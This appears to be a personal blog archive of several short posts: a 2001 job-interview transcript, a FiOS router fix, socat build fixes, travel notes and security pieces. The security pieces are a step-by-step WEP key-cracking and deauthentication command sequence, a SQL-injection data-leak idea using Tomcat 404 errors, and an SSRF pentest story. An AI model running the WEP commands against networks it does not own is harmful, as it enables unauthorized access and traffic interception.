This is not a post but nostalgia. This post is actually a transcript of the first interview of my life. It was for a top Indian Software Consultancy Company (referred to as “XYZ” from now on). I remember that it was July 9th, 2001 and it was a really rainy day in Bombay. While coming to the college I was totally drenched and was looking rather distraught! I cleared the aptitude test and then came the Big One – The Interview!
I went to the interview thinking that i wanted to completely screw up the interview (coz I was interested in some other company) so i went there casually dressed with a demonic smile on my face >:-) . In hindsight, I think the way I appeared for this interview was really gutsy for me and I probably couldn’t have done that had I been craving to get a job in this company. Here is the transcript of the interview.

XYZ: So Mr Rajat … tell me about urself and ur family in *short*
Me : In the year 1980 i was born in allahabad and spent the initial yrs of mylife in blah blah blah ….and completed my schooling in Shree Ram Welfare Society’s High School, Andheri(W), Mumbai . therafter i went to Sathaye College….(blah blah blah) and i came to this college thinking that this college would be good.
XYZ: & how did u find this college?
Me : (thinkin for a while and then with a heavy heart ) ok !
XYZ: Rajat y did u chose our company (XYZ) instead of other companies.
Me : i did not choose XYZ i’ve just come for this interview ! In fact u guys have come to our college (for on-campus placements) i haven’t come for this interview.
XYZ: but would u like to join our co.?
Me: i’ve come for this interview ! what does this indicate to u?
XYZ: give me one reason why u want to join XYZ?
Me: i don’t want join XYZ… i’ll goto any other co. that comes next…as a matter of fact any other co. will take me!
XYZ: Mr Rajat in this form (these guys had given us a form to fill in whichwe were supposed to write the salary we desired which i forgot to fill… oops faux pas ? well not quite) which we have given to u , uhaven’t mentioned the salary u want…. what r ur expectations?
Me : I want more!
XYZ: MORE !%#$%$#$ y do u want more?
Me: because i know i’m worth it!
XYZ: u say so but it is for us to see whether u r worth it!
Me: put me to test and i’ll prove i’m worth it !
XYZ: but why do u want more ?
Me : everybody wants more so what is wrong if i want more!(the guy seems to be pissed off to my delight)
XYZ: but u must be having some expectations , don’t u?
Me : yes of course , i have . but u r not gonna live up to them. u had made it quite clear the salary u’ll be offering to us … so it doesn’t matter what my expectations are u r gonna give only what *you* want to give us , so there rests the matter.
XYZ: tell me about this person whom u know & works in XYZ.
Me : He is my cousin and he stays at andheri.
XYZ: so what have u heard from him about our co. ?
Me : NOTHING!
XYZ: but u might have heard something at least!!!!!
ME : we meet at social gatherings and the last thing we want to speak about is XYZ!!!
XYZ: ok tell me about ur project … this assembler
Me : blah blah blah
XYZ: ok … so in ur form u write u want “A GOOD NETWORKING PROJECT PREFERABLY BASED ON NETWORK SECURITY” . what do u know about networking?
Me : NOTHING!
XYZ: (a very surprised Mr. Sleepy said) NOTHING !?!? then how can u say u want a project in it?
Me: well , i’ve attended a few seminars @ IIT and it ensured me that that was the only field i’m interested in.
XYZ: then ur interest may change after studying the subject!
Me : No, it won’t change!!!!
XYZ: wat do u know bout networkin?
Me: latest happenings … blah blah blah
XYZ: suppose that we don’t have a project in network securities for you then what will u do?
Me: i have written that it is my ambition to work on a networking project…AMBITIONS ARE NOT ALWAYS FULFILLED.
XYZ: Rajat … there is a rule in ur college that if u get 1 co. u r noteligible for the rest.we offer u 16k .. so if tomorrow infosys comes and offers u 20k wat will u do?
Me : I WILL GO !!!!!
XYZ: u’ll go !?! that means you are after money ?
Me : who said that !? i never said that ! i want more money but more important than that is the work environment & the kind of projects i get. if i getbetter projects there i’ll go money is secondary but still important .
XYZ: (as if trying to juistify a lesser salary) u know rajat that on paper their (Infosys) salary may look large but 20% blah blah blah ….. 12.5 % blahblah blah …6% blah blah blah … (and lots more statistics which lasted foran eternity as far as my viewpoint goes)
XYZ: do u realise that XYZ has a 3yr. service agreement or u r chargedRs.50,000/- . what are your feelings about that?
Me : it is absolutely wrong.
XYZ: why?
Me: The word “bond” itself says that u r “bound” to the co. no matter what.
XYZ: that is why we don’t call it a “bond” we call it a “service agreement”.
Me: ok…that’s just another name for it. i personally think that instead of”binding” people to ur co. u should create such an environment that people like to stay in ur co. with their wishes and so the co. will benefit if peoplework with their wishes.
XYZ: do u havre any questions for us?
Me: yes , sir i do! in ur qns a few minutes back u mentioned infosys and in ur pre-placement talks u said u r no.1 software co. of india. how can u say thatwhen all that we see in the newspapers is infosys and with u comparing urself to infosys?
XYZ: infosys is 12% blah blah blah … 19% blah blah blah …(and lots morestatistics that made me feel as miserable as our indian cricket team witheverything out of control)does that answer ur qn?
Me: ya! sir may i ask another question ?
XYZ: ya sure! (with some uneasiness)
Me: sir, this yr. we have seen our seniors get whole lot of “back out” letters! what r ur feelings about that?
XYZ: OUR FEELINGS !!??!
Me: i mean r u people going to do the same with us?
XYZ: (i think this was it and he lost his complete cool and he pointed to me & said sternly) till this date our company has not given any “back-out” letters to anybody.
Me: Thank u .sir. it was a pleasure!

This was the first interview of my life and I ended up getting selected for this company. It was a great experience working there and I realized that money is not everything! At the end of it I think I was not rude but dangerously honest in giving my answers and this plan could have backfired on me but it didn’t … may be I was lucky or may be this was destiny!

If you want to crack WEP keys of an AP that is using WEP.

The following steps should be performed:

Start Capturing packets first:
sudo airodump-ng –bssid <APMAC> -w <CAPTUREFILE> –channel <CHANNELNUM> <IFACE>

Start capturing ARP packets:
sudo aireplay-ng –arpreplay -e <ESSID> -b <APMAC> -h <ASSOCIATEDCLIENTMAC> <IFACE>

Send deauth packets:
sudo aireplay-ng –deauth 5 -a <APMAC> -c <ASSOCIATEDCLIENTMAC> -e <ESSID> <IFACE>

Send fakeauth packets:
sudo aireplay-ng –fakeauth 5 -e <ESSID> -b <APMAC> -h <ASSOCCLIENTMAC> <IFACE>

Cracking WEP:
aircrack-ng -e <ESSID> -b <APMAC> -n <BITSIZE> -f <FUDGEFACTOR> <CAPTUREFILE>

The fudge factor is a measure of how much randomness to check for. I am not exactly sure of its cryptographic significance, however, it may make the difference between cracking a WEP key and not.

Sometimes you may have an AP with no clients connected to it. In such cases, follow the instructions at the following URL:
How to crack WEP with no clients.

Once the WEP keys are obtained then use airdecap-ng to decrypt the packets:
airdecap-ng -b <APMAC> -e <ESSID> -w <KEY> <PCAPFILE>
tcpdump -r <PCAPFILE>-dec.cap

If you’re like me and recently upgraded to Verizon FiOS and you have your PS3 on the wired segment and the Media Server (such as PS3 Media Server, TVersity, etc.) on the wireless segment, you’re in for a ride with the configuration.
By default, you can’t route the traffic between the wired and wireless segments over UDP! You can send ICMP echo packets (i.e., ping) but the PS3 just won’t detect the Media server. You may disable the Host-based firewall (e.g., Norton, Kaspersky, McAfee, etc.) but it still won’t work.

If you happen to read posts like these, you will see that you have to disable “IGMP proxy”. IGMP Proxy basically reduces the traffic on the multicast addresses to a bare minimum. Unfortunately for you, this causes the traffic between PS3 Media Server and PS3 to drop.

So you log into your FiOS router’s administration console typically located at 192.168.1.1. Click on Advanced -> Yes -> Firmware Upgrade and check the firmware version. You will see that it is an ActionTec router (based on the Auto-update URL). But nowhere do you see the option to update the “IGMP Proxy” settings. That’s because that feature is “hidden” in the latest firmwares.

So you just need to copy/paste the following URL into the browser address bar and you will see the option to disable “IGMP proxy”.
http://192.168.1.1/index.cgi?active_page=6059
Disable it and Voila! The PS3 Media Server and PS3 can now talk to each other.

A very typical scenario is that by default the Tomcat Servers tend to have a 404 Error page that displays the name of the file that was requested and not found. It seems to me that though display of such pages might be considered as merely an informational item for the purpose of any security test…this definitely presents a risk.
E.g., take this scenario.
1. The attackers has a SQL injection vulnerability in an application
2. The App server and DB can reach each other
3. The DB cannot directly reach the attacker and his system (on any port outbound)
4. The app server issues 404 error messages with the name of the file being disclosed in the 404 error message (e.g., The requested resource indexblah.html was not found).
5. The attacker can see the responses to the injected SQL queries (i.e., the injection is not blind).

Assuming that the DB accesses have been tightly controlled and you can’t get much access to any tables except the current one. This can be exploited as follows:
Invoke a SQL query (in the injection string) on the DB to request a page from the app server based on the contents of the DB such as send me /blahusername, /blahpassword where /blah is a string the attacker’s put in to make sure that such a resource doesn’t actually exist on the app server and username and password are columns or DB names from the DB. These error messages will be reflected in the response to the SQL query to the attacker. This could create an interesting side-channel attack whereby even though the data from the DB doesn’t actually reach the attacker, it can be inferred from the 404 – error messages.

___________       ______________        __________
| Attacker| <===> | App server | <=====>|  DB    |
___________       ______________        __________
      1  ----------> 2  -----------------> 3
                     5  <----------------  4
                     6  -----------------> 7
      10 <---------- 9 <-----------------  8   
1. Attacker sends sql to make the db query the app server for a non-existent page
2. The app server sends this sql query to the DB
3. The DB receives this SQL query and acts on it
4. The HTTP query for a missing resource is sent to the app server
5. App server looks up the resource and can't find it
6. The App server responds with a 404 /blahusername not found
7. The response recd is put in the SQL query response
8. The SQL query response is sent to the app server
9. The App server received the SQL query response (404 /blahusername not found as a line in there)
10. The attacker receives the 404 response with the data from the username in the 404 error message  

An interesting attack vector to say the least!

Days of hard work seem to be over…or not quite…may be…
Graduation was wonderful and so were the trips with daddu and bhabhi to San Diego, Las Vegas and Grand Canyon and not to forget the shopping sprees at Barstow (I-40 exit at Lenwood Blvd.) and Citadel mall, Los Angeles.
Then came the trip to New York City which was as always very welcome!
Met up with Ankush at NYC working at Citigroup office at Long Island City. Now comes the time to unleash my sloth-like wrath towards summer!

While compiling socat-2.0.0-b5 on cygwin (Windows) I got a few errors and here’s how I fixed it:
xioopts.c: In function 'applyopts_single':
xioopts.c:3998: error: 'struct single' has no member named 'fd1'
xioopts.c:4000: error: 'struct single' has no member named 'fd1'
make[1]: *** [xioopts.o] Error 1
Edit the file xioopts.c in your favorite editor and replace ‘fd1’ by ‘rfd’ in both lines (3998 & 4000). That fixed this error but then I got my next error.

xio-ip.c:480: error: structure has no member named `ipi_spec_dst'
Edit xio-ip.c and comment out the entire snprintf statement in xio-ip.c line 480.

Continue compilation and it should now work fine.

Server-Side Request Forgery is a security issue in applications where an attacker is able to get a server to send some type of a request (these days mostly HTTP/s requests) that the server should not be able to send. This issue is the classic abuse of trust vulnerability – the server tends to sit in a “trusted” environment (e.g., DMZ, your cloud VPC, etc.) and the users of the application sit outside the trust boundary (e.g., mobile devices, cafe, home, corporate environments, API clients within and outside cloud).

A brief history
In this blog post though, I won’t be talking about all the fancy new things that have had SSRF issues – you can likely find a few hundreds of those anyway! I am going to be talking about a brief history of this issue and what happened before we gave this issue a “name” – SSRF. The earliest references to the name “SSRF” appear to come from a talk done in BlackHat US 2012, and wayback machine tells me that the CWE-918 page was authored sometime around 2013. If you look closely at the CWE-918 page though, you will find that there were old CVEs dating back to 2002, and 2004. There was a Shmoocon talk about it in 2008 too but the term SSRF was not established until 2012.

The Issue
I was working on a penetration test for a financial services firm in 2010 of a popular load balancer that offered a GTM (Global traffic manager) solution and that allowed folks to login and obtain restricted execution environments wherefrom certain applications could be exposed and that would allow remote workers or untrusted entities who you only want to expose certain applications could use. The issue was in a POST request post login and IIRC even pre-login (though my details on this are fuzzy). This might be circa 2010 timeframe and to my knowledge the issue was not issued a CVE and wasn’t associated with Knowledge base article – I may not know 100%. The guidance from the vendor was simple – update the software and move on. The issue was this – an authenticated or an unauthenticated user would send an HTTP POST request to a page with a base64 encoded parameter that included a hostname which would trigger a DNS request on the back end of the GTM site. The time it took for the response to get back would indicate whether the domain was legitimate or not. So I used the a popular dictionary and enumerate all the hostnames from that directory that were legitimate and the ones that were not sitting outside on the Internet and mapping the hosts on the internal network.

The backstory
What the vendor of the GTM software did not know was how critical this application was to the business of the customer. They seemed to be dragging their feet without updates and meanwhile the customer – a financial institution with lots at stake could not go live. The pressure mounted on the IT staff to fix the issue and the vendor while being responsive was unable to give a firm date quickly – remember this was 13-14 years ago prior to bug bounties and responsible disclosures still were quite clunky! And the customer was also advising me to push the software vendor so we could discuss. Thankfully, on the vendor side, there was a solid security person who understood the issue immediately and its impact and advised the software teams to do what was right. They made the process post authentication and they also added tokens, limits and constant time responses to fix the issue.

Fast forward
Today, obviously things are a lot better. And I wrote this blog post so the old me can look back and point to this in a meaningful way without forgetting the old experiences among the new.